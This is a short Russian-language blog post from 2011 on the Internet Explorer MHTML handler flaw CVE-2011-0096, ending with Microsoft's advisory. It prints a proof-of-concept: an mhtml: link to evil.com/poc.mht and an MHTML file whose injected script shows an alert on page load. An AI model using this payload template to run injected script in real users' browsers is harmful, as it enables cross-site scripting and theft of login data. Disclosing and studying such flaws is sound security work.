суббота, 29 января 2011 г.

Уязвимость в обработке MHTML протокола (CVE-2011-0096)

Около двух недель назад появилась интересная информация "Hacking with mhtml protocol handler". Как оказалось очередной 0-дей в обработке MHTML, на этот раз уязвимость кроется в обработке MIME-formatted запросов. При определенных условиях злоумышленник может внедрить js-код, который выполниться на клиентской стороне. Последствия могут быть разные, например похищение аутентификационных данных для популярных сервисов или банальный XSS. Работает уязвимость только на IE, но зато для всех версий и видне начиная с ХР и выше.



mhtml:http://evil.com/poc.mht

From: "Test"
Subject: 
Date: Mon, 1 Jan 1111 11:11:11 -0800
MIME-Version: 1.0
Content-Type: text/html;
       charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft MimeOLE V6.1.7600.16543

=EF=BB=BF<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dutf-8" http-equiv=3DContent-Type>
<SCRIPT>
function foo()
{
alert("WTF!");
}
</SCRIPT>

<META name=3DGENERATOR content=3D"MSHTML 8.00.7600.16700"></HEAD>
<BODY onload=3Dfoo()>test MHTML protocol </BODY></HTML>

Не прошло и двух недель с момента опубликования PoC, как появился Microsoft Security Advisory(2501696) и костыль.